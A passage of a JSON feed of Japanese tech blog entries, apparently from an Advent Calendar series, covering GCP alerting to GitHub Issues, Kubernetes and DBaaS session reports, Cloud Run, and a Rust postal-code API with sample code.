logger.error(f\\"No outside data received: \\") return \\"Bad Request\\", 400 try: data_base64 = pubsub_data.get(\'data\', \'\') if not data_base64: raise ValueError(\\"No data field in outside data\\") data = base64.b64decode(data_base64.encode(\'utf-8\')).decode(\'utf-8\') logger.info(f\\"Decoded data: {data}\\") data = json.loads(data) logger.info(f\\"Received data: {data}\\") except Exception as e: logger.error(f\\"Error processing message: {e}\\") return \\"Bad Request\\", 400 return create_github_issue(data)if __name__ == \\"__main__\\": app.run()デプロイ内容を理解したらterraform applyしましょう。アプライが成功したらインスタンスIPが表示されます。動作確認http://instance_ip:8080にブラウザでアクセスするとこのような画面になります。「無限ループ」のリンクを押し、無限ループを発生させましょう。CPU使用率が80%を超えたことを確認し、GitHub Issueを確認すると、アラートが通知されています。以上がGoogle Cloud monitoringのアラートをGitHub Issueに通知する流れとなります。","isoDate":"2024-12-11T09:26:49.000Z","dateMiliSeconds":1733909209000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Kube-schedulerプラグインCoschedulingを体験してみた","link":"https://zenn.dev/k_nagase/articles/co_scheduling","contentSnippet":"本記事は 3-shake Advent Calendar 2024 シリーズ 1 の 11 日目の記事です。 はじめにここ最近Kubernetesのスケジューリングについて調査する機会があり、その一環でスケジューラープラグインの1つであるCoschedulingについても調査しました。この時の調査と簡単なハンズオンについてこの記事でまとめてみたいと思います。Kubernetesのコントロールプレーンの1コンポーネントであるスケジューラはpluginによる機能拡張が可能です。プラグインは以下のリポジトリにまとまっています。https://github.com/kubernetes...","isoDate":"2024-12-11T01:00:01.000Z","dateMiliSeconds":1733878801000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"コマンド一発で、本格的なおうちKubernetesを構築する","link":"https://speakerdeck.com/melanmeg/komando-fa-de-ben-ge-de-naoutikuberneteswogou-zhu-suru","contentSnippet":"作成したリポジトリ:\\rhttps://github.com/melanmeg/k8s_1-30_on_noble\\r\\r参考:\\rhttps://github.com/unchama/kube-cluster-on-proxmox\\rhttps://k8sh.net/arch/\\rhttps://www.server-world.info/query?os=Ubuntu_24.04&p=kubernetes&f=1\\rhttps://www.youtube.com/watch?v=7BLmtR1nhcY","isoDate":"2024-12-10T05:00:00.000Z","dateMiliSeconds":1733806800000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"スリーシェイクインタビュー: 技術顧問 うたもくさん編","link":"https://sreake.com/blog/interview-utam0k/","contentSnippet":"こんにちは。スリーシェイクのSreake事業部所属の早川(@bells17)です。 今回は7月からスリーシェイクの技術顧問に就任してもらったうたもくさん(@utam0k)に対談形式でインタビューをさせていただきましたので […]The post スリーシェイクインタビュー: 技術顧問 うたもくさん編 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-10T04:16:19.000Z","dateMiliSeconds":1733804179000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Japan.R 2024で構造化ログについて発表した","link":"https://blog.atusy.net/2024/12/10/japanr-logging/","contentSnippet":"オフラインイベントはリアクションがもらえて楽しい。準備や質問を通じて学びもいっぱい。またやりたい。","isoDate":"2024-12-10T00:00:00.000Z","dateMiliSeconds":1733788800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LookMLで値を変換したい?それならcaseはいかが?","link":"https://zenn.dev/nedoko_dok0dko/articles/c677f78d5ae2b0","contentSnippet":"はじめに※本投稿はLooker Advent Calendar 2024 の10日目の記事となりますはじめまして。偶然業務でLookerに出会い、そこから色々触っているデータエンジニアです。Lookerについてはまだまだ駆け出しの身ではありますが、少しずつ分かる事が増え、Lookerへの理解が深まってきたと感じています。今回はそんな初心者がLookerのフィールドパラメータであるcaseを触ってみた話です。 想定読者Lookerについて基本概要を知っているLookMLを知っているLookMLを触ったことがある・実装したことがある 背景・経緯※情報に関して...","isoDate":"2024-12-09T16:42:38.000Z","dateMiliSeconds":1733762558000,"authorName":"seno","authorId":"seno"},{"title":"オレのNeovim見て! 2024","link":"https://blog.atusy.net/2024/12/09/awesome-my-neovim/","contentSnippet":"Vim/Neovimに興味を持ってほしくて、私のNeovimのカッコイイところ集を作ってみました。","isoDate":"2024-12-09T00:00:00.000Z","dateMiliSeconds":1733702400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"「Cloud Run functions」にコンテナがデプロイできるの知ってる?","link":"https://zenn.dev/kimitsu/articles/deploy-container-to-cloud-run-functions","contentSnippet":"!本記事はネタ記事です!Cloud Run functions は Google Cloud の FaaS です。ユーザはコンテナ、ランタイム、Web サーバーを管理することなく、コードを書くだけでデプロイすることができます。本来はコンテナ化が不要な Cloud Run functions ですが、コンテナをデプロイできることをご存知でしょうか。 Cloud Run functions の仕組みユーザが Cloud Run functions にデプロイしたコードは複数の抽象化レイヤーの上で動きます。[1]一番内側にユーザが書いたコードがあり、その下にはまず Func...","isoDate":"2024-12-08T13:16:22.000Z","dateMiliSeconds":1733663782000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":" KubeCon NA 2024: The Future of DBaaS on Kubernetesのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/08/kubecon_na_the_future_of_dbaas_ob_kubernetes","contentSnippet":"この記事は以下アドベントカレンダー8日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2The Future of DBaaS on Kubernetesのセッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kL/the-future-of-dbaas-on-kubernetes-melissa-logan-constantia-sergey-pronin-percona-deepthi-sigireddi-planetscale-gabriele-bartolini-edbセッション動画:https://www.youtube.com/watch?v=Z35SlsYd1ds「The Future of DBaaS on Kubernetes」は、Data on Kubernetes Communityのメンバーによるパネルディスカッション形式で、Kubernetes上で動作するDBaaSの将来について議論されました。ここ数年でデータベースをKubernetes上で動かすにあたりどう便利になったか?セッションでは、Kubernetesにおけるストレージとネットワーキングの進化が、データベース運用を大きく改善した点が強調されました。Volume Snapshotなどのストレージ関連機能の向上は、バックアップとリカバリといったDay 2 Operationを効率化し、Local Persistent Volumeの導入と改善は、データベースの高可用性とディザスタリカバリ構成をシンプルに実現可能にしました。また、Cilium Network PolicyやIngress/Egressといったネットワーキング機能は、マルチテナントサービスにおけるアクセス制御を容易にし、セキュリティ強化に貢献しています。これらの改善により、増加するデータベースと、優秀なデータベースエンジニア不足という課題に対し、Kubernetesは少ない人員でデータベースをスケールさせる有効な手段となっています。数年前に比べ、Kubernetes上でのデータベース運用はより現実的になり、エンタープライズグレードの運用にも耐えうるレベルに達しています。これは、Kubernetesがステートレスなアプリケーションだけでなく、ステートフルなデータベースにも適したプラットフォームへと進化したことを示しています。私がKubernetesを触り始めた時点ではここで紹介されているほとんどの機能はサポートされており、なぜKubernetesでデータベースを運用することが難しいのかを理解しきれない面がありました。このセクションによる直近のデータベース観点でのKubernetesのアップデートの紹介により、何が障壁でそれがどのように解決されたのかの理解が深まりました。Kubernetes上でデータベースを動かしている顧客についてシェアできる事例はあるか?セッションでは、Nokia、Broadcom、HubSpot、Shopify、IBMなど、様々な企業がKubernetes上でデータベースを運用している事例が紹介されました。これらの事例は、マイクロサービスアーキテクチャの普及と密接に関連しています。マイクロサービス化されたアプリケーションでは、単一のモノリシックなデータベースではなく、サービスごとにデータベースを持つ傾向があり、Kubernetesはそのような分散データベース環境の構築と管理を容易にします。特に、開発者がデータベースを所有し、インフラ管理者がDBaaSをインターフェイスとしてデータベースを払い出すという新しい運用モデルは、今後の主流となる可能性を示唆しています。これは、DevOpsの原則をデータベース運用に取り入れることで、開発速度と運用効率を向上させるアプローチと言えるでしょう。セクション内で紹介されている開発者がデータベースを所有し、インフラ管理者がデータベースを払い出すという体制はパブリッククラウドで運用されるマイクロサービスアーキテクチャでは当たり前のように実践されており、Kubernetesでも今後の主流となると考えることは不思議ではないでしょう。そしてそれは従来のVMやベアメタルベースのDBAがデータベース管理を行うには多すぎるデータベースが運用され、限界を迎えることは想像に難くなく、KubernetesとOperatorによる運用の簡略化は必須と言えるかもしれません。Kubernetes上でデータベースを動かすにあたりベストプラクティスはなにか?ベストプラクティスとして、クラウド中立性、クラウドレディネス、セルフサービス、セキュリティ、アーキテクチャ設計などが挙げられました。Operatorの活用は、クラウドベンダーに依存しない運用を実現する上で重要であり、UI/APIの整備やArgoCDなどのツールとの連携により、データベースのプロビジョニングと管理を自動化できます。また、開発者が容易にスケーリングやテスト環境構築を行えるセルフサービス環境も重要です。セキュリティについては、業界標準やコンプライアンス要件に合わせたポリシー設定が不可欠です。アーキテクチャ設計では、PostgreSQLを例に、Kubernetesの機能を活用した高可用性構成や、複数のアベイラビリティゾーンを考慮した設計が重要となります。さらに、Kubernetesの標準APIを活用することで、オブザーバビリティやセキュリティ、証明書の管理を簡素化し、他のコンポーネントとの統合を容易にすることが推奨されています。VMからの移行時には、ストレージを分離することでリソース管理の予測精度を高めることが重要です。ここではベストプラクティスとしてユーザーがセルフサービスでデータベースを立ち上げる方法としてGUIとAPIとツール連携による自動化二つの観点が出ていました。個人的にはパブリッククラウドとIaCの流れを見るにGUIベースよりAPIによる自動化が主流になっていくのではないかと考えます。またデータベースではないですがオンプレミスのVMベースシステムからKubernetesのコンテナベースに移行するプロジェクトに関わった時は独自のプロトコルによる通信をVMで実装しており、その方法をコンテナの世界に持ち込もうとした結果非常に複雑になっていた事例を見たことがあります。そのため、ここで紹介されているKubernetesとそのエコシステムに合わせることは不可欠ではないかと感じます。データベースをKubenetesで動かす場合の課題や落とし穴はあるか?セッションでは、VM環境での運用とKubernetes環境での運用を混同してしまうこと、マイグレーション計画の不足、リソースの過剰確保、そして人材育成の課題が議論されました。既存のVM向けスクリプトをそのままKubernetesに適用しようとするのではなく、クラウドネイティブな考え方を取り入れ、スケーラビリティと信頼性の向上に焦点を当てるべきです。マイグレーションにおいては、全てのワークロードの移行と、ダウンタイム最小化を両立するための綿密な計画が必要です。リソース管理においては、Kubernetesの柔軟性を活かし、適切なリソース割り当てを行うための実験と調整が重要です。さらに、DBAがKubernetesの基礎知識を習得し、データベース運用における新たなパラダイムシフトに対応できるよう、人材育成に力を入れる必要があります。このセッションを通して一番に感じたのはオンプレからパブリッククラウドへの移行と気にするところは同じだということと、DBAとKubernetesの距離を近づけることはやはり大事だということでした。特にDBAとKubernetesについてはより簡単なソリューションとして存在してしまっているマネージドデータベースが、Kubernetesを利用することから目を背けさせてしまう要因になっていると感じます。しかしDBAがより求められるのはデータベースをセルフホストする場合で、今後DBAとして活躍していくにはLinuxに適応してきたようにKubernetesに適応していく日強うがあると考えています。DBaaSの将来はどのように変わっていくと考えるか?将来のDBaaSは、Kubernetesとの統合がさらに深まり、データベースとKubernetesの境界が曖昧になっていくと予測されています。PostgreSQLの例では、Kubernetesとの親和性を高めるためのパッチ適用や、拡張機能のコンテナ化などが進んでいます。また、プライベートDBaaSだけでなく、商用DBaaSのKubernetes上での提供も増加し、データベースサービスの利用がさらに容易になると考えられます。Google Cloudなどのクラウドプロバイダーも、将来的にKubernetes上でマネージドデータベースサービスを提供する可能性があり、これにより、数千規模のデータベース管理が容易になるでしょう。Kubernetesの普及と成熟に伴い、Helm ChartやYAML以外の、より洗練されたUXも期待されます。セッション内ではGoogle CloudではCloud SQLがKubenetes1で運用される未来があるかもしれないと言及していましたが、すでにSpannerはKubernetesで動いています。商用DBaaSがKubernetesで動くことについてはよくある構成ですが、プライベートDBaaSがKubernetes上で動き、さまざまなエコシステムと組み合わせてAPIベースなど自動化に適したUXが提供されていくことには非常に注目しています。まとめ「The Future of DBaaS on Kubernetes」セッションは、Kubernetes上でのデータベース運用が成熟期を迎えていることを示しました。ストレージとネットワーキングの進化、Operatorの普及、そして様々な企業での成功事例は、Kubernetesがデータベース運用のための堅牢でスケーラブルなプラットフォームであることを証明しています。クラウドネイティブなアプローチ、セルフサービス化、セキュリティ強化、そして適切なアーキテクチャ設計は、Kubernetes上でのデータベース運用を成功させるための鍵となります。同時に、VM環境からの移行、リソース管理、人材育成といった課題にも適切に対処する必要があります。今後のDBaaSは、Kubernetesとの統合がさらに進み、データベースサービスの利用がより容易になると期待されます。このセッションで得られた知見は、今後のデータベース運用戦略策定に役立つ貴重な情報源となるでしょう。特に、オンプレミスでマイクロサービスアーキテクチャを採用する組織にとって、Kubernetesはデータベース運用における重要な選択肢となるでしょう。↩","isoDate":"2024-12-08T03:00:00.000Z","dateMiliSeconds":1733626800000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2024: When Life Gives You Containers, Make an Open Source RDS: A Kubernetes Love Story のセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/11/when_life_gives_you_containers_make_an_open_source_rds_a_kubernetes_love_story","contentSnippet":"この記事は以下アドベントカレンダー11日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ1When Life Gives You Containers, Make an Open Source RDS: A Kubernetes Love Story セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kn/when-life-gives-you-containers-make-an-open-source-rds-a-kubernetes-love-story-sergey-pronin-perconaセッション動画:https://www.youtube.com/watch?v=0gSSmdNB-Zoこのセッションは、オープンソースRDS、あるいはオープンソースDBaaSをKubernetes上で構築・運用する道のりを、物語風に語っています。セッションを通して、Kubernetes上でデータベースを運用することへの不安や課題を解消し、そのメリットと可能性を提示することを目指していると感じました。なぜKubernetesでデータベースを動かすのか?セッション冒頭では、スピーカーが4年前はKubernetesでデータベースを動かすことに懐疑的だったものの、現在は大きく考えが変わっていることが語られています。その理由として、クラウドニュートラル戦略、コスト削減、そして自動化の3点が挙げられています。特に自動化は、高可用性構成、Blue/Greenデプロイ、フェイルオーバーなどを容易にする点で重要です。これらのメリットは、マイクロサービスアーキテクチャやクラウドネイティブ開発において、データベース運用を効率化し、DevOps実践を促進する上で大きな力となります。従来の運用では、データベースのデプロイや管理に多くの手作業が必要でしたが、Kubernetesと自動化ツールを組み合わせることで、これらの作業を大幅に簡素化し、開発スピードの向上に貢献できます。一方、Kubernetes上でのデータベース運用に対する懸念として、パフォーマンスの劣化、Kubernetes自体の成熟度、そして複雑さが挙げられています。これらの懸念は、データベースエンジニアとして当然抱くものであり、セッション全体を通してこれらの懸念への回答が提示されています。このセクションでは、Kubernetes上でデータベースを運用する上でのメリットと課題が明確に示されており、導入を検討する上で重要なポイントが提示されています。特に、クラウドネイティブな環境におけるデータベース運用の重要性が強調されていました。また単純なメリット・デメリット以上にユーザーの感情面にフォーカスしているところが印象的でした。Chapter 1: Enthusiasm and Kubernetes 101: Kubernetesの基本と進化この章では、Kubernetes上でデータベースを動かすための基本的なステップが段階的に示されています。Pod、Persistent Volume Claim (PVC)、Service、Secret、ConfigMap、StatefulSet、そしてHA構成のためのエージェントとProxyの導入といった流れは、Kubernetesにおけるデータベース運用の進化を理解する上で非常に有用です。特に、StatefulSetの導入は、データベースのようなステートフルアプリケーションの運用において大きな進歩です。Podの順序付けられたデプロイ、安定したネットワークID、永続ストレージへのアクセスなど、StatefulSetが提供する機能は、データベースの高可用性と安定運用に不可欠です。しかし、これらの構成要素を手作業で管理することは複雑でエラーを起こしやすいため、IaCの導入が推奨されています。IaCを用いることで、インフラストラクチャのコード化、自動化、バージョン管理が可能となり、再現性と信頼性の高いデプロイを実現できます。TerraformやAnsible、ArgoCD、HelmなどのIaCツールは、Kubernetesの構成管理を簡素化し、複数環境へのデプロイを容易にします。これは、DevOpsの原則である「Infrastructure as Code」を実践する上で非常に重要なステップです。この章では、Kubernetes上でデータベースを動かすための基本的な構成要素と、IaCの重要性が説明されています。IaCを用いることで、複雑なKubernetes環境を効率的に管理し、再現性と信頼性を向上させることができる点が強調されていました。またIaCのパラメータを変更することで複数環境をデプロイできるところからDBaaSの最初の一歩を踏み出したととらえることができました。Chapter 2: Disillusionment and Operators 101: OperatorによるDay 2 Operationの簡素化IaCによってデプロイは容易になりますが、運用、つまりDay 2 Operationは依然として複雑です。アップグレード、スケーリング、フェイルオーバー、バックアップ、モニタリング、メンテナンス、リカバリといったタスクは、手作業で行うと大きな負担となります。ここでOperatorが登場します。Operatorは、Kubernetesの拡張機能であり、特定のアプリケーションのデプロイと管理を自動化します。データベースOperatorは、データベースのライフサイクル全体を管理し、Day 2 Operationを大幅に簡素化します。Operatorの導入により、データベース管理者はKubernetesの内部構造を深く理解する必要がなくなり、データベース運用に集中できます。これは、運用コストの削減と効率性の向上に大きく貢献します。また、Operatorは宣言的な設定をサポートしており、運用作業の自動化と標準化を促進します。しかし、Operatorだけでは真のDBaaSとは言えません。セルフサービスポータル、マルチクラスタ対応、詳細なモニタリング、課金機能など、DBaaSに必要な機能は多岐に渡ります。この章では、OperatorがDay 2 Operationを簡素化する上で重要な役割を果たすことが説明されています。Operatorは、データベース管理者の負担を軽減し、運用効率を向上させる強力なツールです。これはデータベースエンジニアといわれるロールが採用市場に少ない日本では特に重要な点です。大規模なデータベース運用に合わせてデータベースエンジニアの採用を増やすことは難しいため、様々なツールを利用して負荷を下げ、省力化し、より本質的な業務を行う必要があるためです。一方でOperatorだけではDBaaSの全てをカバーできない点にも注意が必要です。Chapter 3: Hope and DBaaS: Percona Everestの紹介Percona Everestは、オープンソースのDBaaSソリューションであり、Kubernetes上でデータベースサービスを提供します。ReactとMaterial UIで構築された直感的なUI、Golangで実装されたバックエンド、そしてAPIによるアクセスを提供することで、ユーザーフレンドリーな操作性を実現しています。Everestのアーキテクチャは、複数のOperatorをOperator Managerで管理する構造を採用しています。これにより、Operatorのバージョン管理、依存関係の解決、相互運用性の確保が容易になります。ユーザーは、GUIまたはAPIを介してデータベースサービスを操作し、そのリクエストはEverest Operatorによって各データベースOperatorに変換されます。Everestは、オープンソースDBaaSとして、ベンダーロックインを回避し、柔軟なデータベース運用を可能にします。また、コミュニティベースの開発により、迅速な機能追加とバグ修正が期待できます。この章では、Percona EverestがオープンソースDBaaSとして、Kubernetes上でデータベースサービスを提供する仕組みが説明されています。Everestは、ユーザーフレンドリーなUI、Operator ManagerによるOperator管理、そしてオープンソースとしてのメリットを提供することで、柔軟で効率的なデータベース運用を支援します。セッション中ではGUIやAPIは利用しない導入例もあると話されており、個人的にはKubernetesリソースの管理に余計なUIを追加する方法は大規模化したときにデメリットが増えるのではないかと感じました。またこのセッションのスピーカーはPerconaのエンジニアであるためある程度ポジショントークが含まれているであろうことも注意が必要です。Epilogue: Kubernetesとデータベースの未来セッションの締めくくりとして、Kubernetes上でのデータベース運用は困難な側面もあるものの、OperatorやDBaaSソリューションの活用により、効率的でスケーラブルな運用が可能になることが強調されています。Kubernetes上でデータベースを運用することは、もはや一部の先進的な企業だけの選択肢ではなく、一般的な選択肢になりつつあります。クラウドネイティブな環境でデータベースを運用することは、ビジネスの俊敏性と競争力を高める上で重要な要素となります。Kubernetes上でのデータベース運用に対する不安や懸念を解消し、その可能性を示す上で非常に有益な内容でした。Percona EverestのようなオープンソースDBaaSソリューションの登場は、Kubernetesにおけるデータベース運用の楽にする選択肢の一つと言えるでしょう。まとめこのセッションを通して、Kubernetes上でのデータベース運用は、進化を続け、成熟しつつあることが理解できました。初期の懸念は解消されつつあり、OperatorやDBaaSソリューションの登場により、運用効率とスケーラビリティが大幅に向上しています。特に定型的なデプロイと運用を自動化できることでデータベースエンジニアはアプリケーション特性に応じた最適化やリリースマネジメントといったユーザーに価値を提供することを最大化することに注力することができます。今後、Kubernetes上でのデータベース運用はさらに普及し、クラウドネイティブなアプリケーション開発の中核を担うことになるでしょう。一定以上の規模の組織ではオンプレ回帰やクラウドコストの最小化といった観点からKubernetes上にデータベースをホストするソリューションが求められ生ます。そのためデータベースエンジニアは、Kubernetesの基礎知識を習得し、OperatorやDBaaSソリューションの活用方法を学ぶことで、より効率的で本質的な業務を遂行できるようになるはずです。","isoDate":"2024-12-08T02:42:58.000Z","dateMiliSeconds":1733625778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"バッチ処理をCloud RunからCloud Run jobsに変更してみた話","link":"https://qiita.com/bayobayo0324/items/71f7e19a051261d1adfc","contentSnippet":"この記事は3-shake Advent Calendar 2024 シリーズ1の8日目の記事ですはじめましてあるいはこんにちは、@bayobayo0324 です。株式会社スリーシェイクでクラウド…","isoDate":"2024-12-07T22:06:20.000Z","dateMiliSeconds":1733609180000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"私とJagu\'e\'rと2025年から...","link":"https://blog.masasuzu.net/entry/2024/12/08/000000","contentSnippet":"この記事はJagu\'e\'r Advent Calendar 2024の8日目の記事です。日付的には大遅刻です。特に技術的な話はしません。思い出話とこれからの意気込みを書きます。Jagu\'e\'r(Japan Google Cloud Usergroup for Enterprise) は、Google Cloudのユーザー企業やパートナー企業が集まるユーザー会です。私はパートナー企業であるスリーシェイクに所属し、Jagu\'e\'rに参加しています。実は入会自体は結構前で、メールを遡ると2023年8月10日でした。当時Google Cloudに関わる案件が始まり、情報収集のために登録した記憶があります。しかし、「Enterprise」や「分科会」といった言葉から、何となく堅苦しいイメージを抱いてしまい、Slackには入ったものの、あまり活動には参加していませんでした。転機が訪れたのは、今年2024年の春から夏頃のこと。同僚が分科会の運営に入り、別の同僚もJagu\'e\'rのMeetupで発表するようになったんです。身近な人が関わるようになると、自然と興味が湧いてきて、今年の後半はオンライン・オフライン問わず、Meetupに参加するようになりました。そして先日、Jagu\'e\'r Park \'24 Winter!に参加しました。そこで行われたJagu\'e\'r Award選出のためのピッチ発表に、私は深く感銘を受けました。どの発表者の方も、Jagu\'e\'rコミュニティへの熱い思いや感謝の気持ちが溢れていて、本当に心を動かされました。特に、中外製薬の方とDatadogの方のピッチは強く印象に残っています。これまでJagu\'e\'rコミュニティに深く関わってきませんでしたが、こんなにも熱い思いを持つ人たちと一緒に活動したい!という気持ちが湧き上がってきました。「善は急げ」と、ピッチを聞いたその場で、社内でJagu\'e\'rの分科会運営に携わっている人に連絡を取り、運営を手伝えないか相談しました。さらに懇親会では、弊社担当のGoogle Cloudパートナーエンジニアの方にも相談し、同じ分科会の運営の方につなげてもらいました。問題がなければ、来年から某分科会の運営に携わる予定です。正直なところ、勢いで走り出した部分もあるので、まだ何ができるか、何をしていきたいかは漠然としています。それでも、来年はコミュニティの活性化に貢献できるような成果を残せるよう、精一杯頑張りたいと思っています。","isoDate":"2024-12-07T15:00:00.000Z","dateMiliSeconds":1733583600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Lima+containerd+nerdctlで作るコンテナ環境/lima_containerd_nerdctl","link":"https://speakerdeck.com/moz_sec_/lima-containerd-nerdctl-1","contentSnippet":"","isoDate":"2024-12-07T05:00:00.000Z","dateMiliSeconds":1733547600000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"セキュアな LLM アプリ開発:OWASP Top 10 for LLM 2025 と Vertex AI による実践","link":"https://zenn.dev/kimitsu/articles/owasp-for-llm-2025-and-vertex-ai","contentSnippet":"本記事は 3-shake Advent Calendar 2024 シリーズ 1 の 7 日目の記事です。 はじめにOWASP Top 10 for LLM Applications の 2025 年版が 11 月 18 日に発表されました。[1]OWASP Top 10 は Web アプリケーションのセキュリティリスクの中で最も重要な 10 個をリスト化したものであり、OWASP Top 10 for LLM Applications は名前の通り LLM を利用したアプリケーションに関するものです。本家は数年に一度の改訂ですが、こちらは LLM の技術進歩が早いためほぼ毎年...","isoDate":"2024-12-07T00:14:53.000Z","dateMiliSeconds":1733530493000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"CUDAを利用したプログラムの高速化とNvidia Container Toolkit","link":"https://sreake.com/blog/cuda-nvidia-container-toolkit/","contentSnippet":"はじめに Sreake事業部インターン生の高島陸斗です。インターン生としてSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解析に関する研究をしています。学部時代は、今回のブログ内容とも関係する並 […]The post CUDAを利用したプログラムの高速化とNvidia Container Toolkit first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-06T01:51:20.000Z","dateMiliSeconds":1733449880000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「SRE Kaigi 2025」にスリーシェイクのエンジニアが登壇","link":"https://sreake.com/blog/sre_kaigi_2025/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、2025年1月26日(日)に開催される「SRE Kaigi 2025」にセッション登壇することをお知らせします。The post 「SRE Kaigi 2025」にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-05T01:00:00.000Z","dateMiliSeconds":1733360400000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rustによる郵便番号検索API (yubin_api) の技術解説","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/04/233641","contentSnippet":"こちらの記事は Rust Advent Calendar 2024 シリーズ 3 7日目の記事です!qiita.comはじめにRustを使用したWebアプリケーション開発は、高いパフォーマンスと堅牢性を両立させる方法として注目を集めています。本記事では、日本の郵便番号システムにアクセスするRESTful API「yubin_api」の実装を通じて、Rustの実践的な開発手法を解説します。workspace_2024/yubin_api at main \xb7 nwiizo/workspace_2024 \xb7 GitHubこのプロジェクトでは、axumを使用したWebサーバーの構築、非同期プログラミング(async/await)、構造化されたエラーハンドリングを実装しています。また、プロダクション環境を想定したメトリクス収集とモニタリング、型安全なAPIデザインにも焦点を当てています。ちなみに元ライブラリーの実装についてはsyumai さんの実装を全面的に参考にさせていただいております。blog.syum.ai1. プロジェクトの構成まず、Cargo.tomlの依存関係から見ていきましょう:[dependencies]# Webフレームワーク関連axum = { version = \\"0.7\\", features = [\\"macros\\"] } # Webフレームワークtokio = { version = \\"1.0\\", features = [\\"full\\"] } # 非同期ランタイムtower = { version = \\"0.4\\", features = [\\"full\\"] } # HTTPサービス抽象化tower-http = { version = \\"0.5\\", features = [\\"cors\\", \\"trace\\", \\"limit\\", \\"request-id\\"] }# ロギングと監視tracing = \\"0.1\\" # ログ出力tracing-subscriber = \\"0.3\\" # ログ設定metrics = \\"0.21\\" # メトリクス収集metrics-exporter-prometheus = \\"0.12\\" # Prometheus形式出力# シリアライズ/デシリアライズserde = { version = \\"1.0\\", features = [\\"derive\\"] }serde_json = \\"1.0\\"# ユーティリティthiserror = \\"1.0\\" # エラー定義uuid = { version = \\"1.0\\", features = [\\"v4\\"] } # ユニークID生成utoipa = { version = \\"4.1\\", features = [\\"uuid\\"] } # OpenAPI生成# 郵便番号データベースjpostcode_rs = \\"0.1.3\\"2. エラー処理の実装(error.rs)エラー処理は、APIの信頼性を確保する重要な部分です:use axum::{ http::StatusCode, response::{IntoResponse, Response}, Json,};use thiserror::Error;use tracing::warn;// APIのエラー型を定義#[derive(Debug, Error)]pub enum ApiError { #[error(\\"Invalid postal code format\\")] InvalidPostalCode, #[error(\\"Address not found\\")] NotFound, #[error(\\"Internal server error: {0}\\")] Internal(String),}// エラーをHTTPレスポンスに変換する実装impl IntoResponse for ApiError { fn into_response(self) -> Response { // エラーの種類に応じてステータスコードを設定 let (status, error_message) = match self { ApiError::InvalidPostalCode => (StatusCode::BAD_REQUEST, self.to_string()), ApiError::NotFound => (StatusCode::NOT_FOUND, self.to_string()), ApiError::Internal(ref e) => { // 内部エラーはログに記録 warn!(\\"Internal server error: {}\\", e); ( StatusCode::INTERNAL_SERVER_ERROR, \\"Internal server error\\".to_string(), ) } }; // JSONレスポンスの構築 let body = Json(serde_json::json!({ \\"error\\": error_message, \\"status\\": status.as_u16(), // エラー追跡用のユニークID \\"request_id\\": uuid::Uuid::new_v4().to_string() })); (status, body).into_response() }}3. データモデルの定義(models.rs)APIで使用するデータ構造を定義します:use serde::{Deserialize, Serialize};// 住所情報のレスポンス構造体#[derive(Debug, Serialize, Deserialize, utoipa::ToSchema)]pub struct AddressResponse { pub postal_code: String, pub prefecture: String, pub prefecture_kana: String, pub prefecture_code: i32, pub city: String, pub city_kana: String, pub town: String, pub town_kana: String, pub street: Option, pub office_name: Option, pub office_name_kana: Option,}// jpostcode_rsのAddress型からの変換を実装impl From for AddressResponse { fn from(addr: jpostcode_rs::Address) -> Self { AddressResponse { postal_code: addr.postcode, prefecture: addr.prefecture, prefecture_kana: addr.prefecture_kana, prefecture_code: addr.prefecture_code, city: addr.city, city_kana: addr.city_kana, town: addr.town, town_kana: addr.town_kana, street: addr.street, office_name: addr.office_name, office_name_kana: addr.office_name_kana, } }}// 住所検索用のクエリ構造体#[derive(Debug, Deserialize, utoipa::ToSchema)]pub struct AddressQuery { pub query: String, #[serde(default = \\"default_limit\\")] pub limit: usize,}// デフォルトの検索結果制限数fn default_limit() -> usize { 10}4. メトリクス収集の設定(metrics.rs)アプリケーションのパフォーマンスを監視するためのメトリクス設定:use metrics::{describe_counter, describe_histogram, register_counter, register_histogram};use metrics_exporter_prometheus::PrometheusBuilder;pub fn setup_metrics() { // リクエスト数のカウンター describe_counter!( \\"yubin_api_postal_lookups_total\\", \\"Total number of postal code lookups\\" ); describe_counter!( \\"yubin_api_address_searches_total\\", \\"Total number of address searches\\" ); // レスポンス時間のヒストグラム describe_histogram!( \\"yubin_api_postal_lookup_duration_seconds\\", \\"Duration of postal code lookups in seconds\\" ); describe_histogram!( \\"yubin_api_address_search_duration_seconds\\", \\"Duration of address searches in seconds\\" ); // メトリクスの登録 register_counter!(\\"yubin_api_postal_lookups_total\\"); register_counter!(\\"yubin_api_address_searches_total\\"); register_histogram!(\\"yubin_api_postal_lookup_duration_seconds\\"); register_histogram!(\\"yubin_api_address_search_duration_seconds\\"); // Prometheusレコーダーの設定 PrometheusBuilder::new() .install() .expect(\\"Failed to install Prometheus recorder\\");}Rustの知っておいたほうがいいポイント解説(前編)属性マクロの使用#[derive(...)]: 自動実装の導入#[error(...)]: エラーメッセージの定義#[serde(...)]: 